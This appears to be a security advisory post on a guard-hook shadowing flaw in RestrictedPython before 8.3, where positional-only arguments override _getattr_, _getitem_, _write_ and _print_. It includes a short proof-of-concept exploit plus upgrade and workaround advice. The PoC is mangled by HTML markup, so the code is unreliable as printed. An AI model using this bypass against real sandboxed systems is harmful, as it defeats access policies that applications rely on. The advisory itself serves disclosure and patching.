Listen to this Post
RestrictedPython is a tool that defines a subset of the Python language, allowing safe execution of untrusted code within a trusted environment. To enforce security policies, it rewrites sensitive operations to go through configurable guard hooks: attribute access becomes _getattr_(obj, name), item access becomes _getitem_(obj, key), write operations go through _write_, and `print` goes through _print_. The embedding application supplies these hooks to enforce its access policy.
The vulnerability exists in the argument-name validation logic within check_function_argument_names(). This function correctly rejects protected guard hook names for regular arguments, args, kwargs, and keyword-only arguments. However, it fails to validate positional-only arguments — parameters defined before the `/` in a function signature.
This omission allows an attacker to define a function like def f(_getattr_=evil, /): return o.x. In this case, `_getattr_` becomes a local variable that shadows the global policy hook. When the rewritten code executes o.x, it calls the attacker-supplied `evil` function instead of the intended policy guard. The same technique works for _getitem_, _write_, and _print_. Shadowing `_print_` can also be used to capture the internal `_getattr_` hook that RestrictedPython passes in.
The result is a complete bypass of the access policy the embedding application relies on. In applications that also handle sandbox-controlled objects unsafely — for example, serializing them with `pickle` — this primitive can be chained further, potentially leading to remote code execution. While the RCE part depends on the embedding application, the underlying guard bypass exists within RestrictedPython itself.
This issue affects all versions prior to 8.3 and has been assigned a CVSS score of 8.3 (High).
DailyCVE Form:
Platform: RestrictedPython
Version: < 8.3
Vulnerability: Guard Hook Shadowing
Severity: High (CVSS 8.3)
date: 2026-07-08
Prediction: Already Patched (8.3)
What Undercode Say:
Check installed version pip show RestrictedPython | grep Version Upgrade to patched version pip install --upgrade RestrictedPython>=8.3
Exploit: (Educational Purposes!)
from RestrictedPython import compile_restricted from RestrictedPython.Guards import safe_globals, safer_getattr calls = [] def policy_getattr(obj, name, default=None): calls.append(name) Real guard would record every access return safer_getattr(obj, name, default) Vulnerable code: positional-only argument shadows <em>getattr</em> src = """ def f(o, <em>getattr</em>=lambda obj, name: "shadowed", /): return o.x """ On unpatched versions (< 8.3), this compiles successfully code = compile_restricted(src, "<s>", "exec") g = dict(safe_globals) g["<em>getattr</em>"] = policy_getattr exec(code, g) class O: x = "secret" print(g<a href="O()">"f"</a>) Output: "shadowed" (policy hook bypassed) print(calls) Output: [] (policy <em>getattr</em> never executed)
Protection:
- Immediate: Upgrade to RestrictedPython version 8.3 or later.
- Workaround (if upgrade is not possible): Reject any submitted code whose function or lambda definitions use positional-only parameters (before
/) with leading-underscore names before compiling. - Additional Measures: Conduct thorough security reviews of existing code that may have exploited this vulnerability in previous versions. Implement continuous monitoring for suspicious function definitions that attempt to shadow guard hooks.
Impact:
- Sandbox Escape: Attackers can completely bypass RestrictedPython’s access policy by shadowing guard hooks (
_getattr_,_getitem_,_write_,_print_). - Privilege Escalation: Malicious code can read sensitive data via `_getitem_` shadowing, write to unauthorized locations via
_write_, or access object attributes through `_getattr_` bypasses. - Potential RCE: In applications that unsafely handle sandbox-controlled objects (e.g., using
pickle), this primitive can be chained to achieve remote code execution. - Affected Systems: Web frameworks, sandboxed scripting environments, and any system using RestrictedPython to execute user-provided code while maintaining security boundaries.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
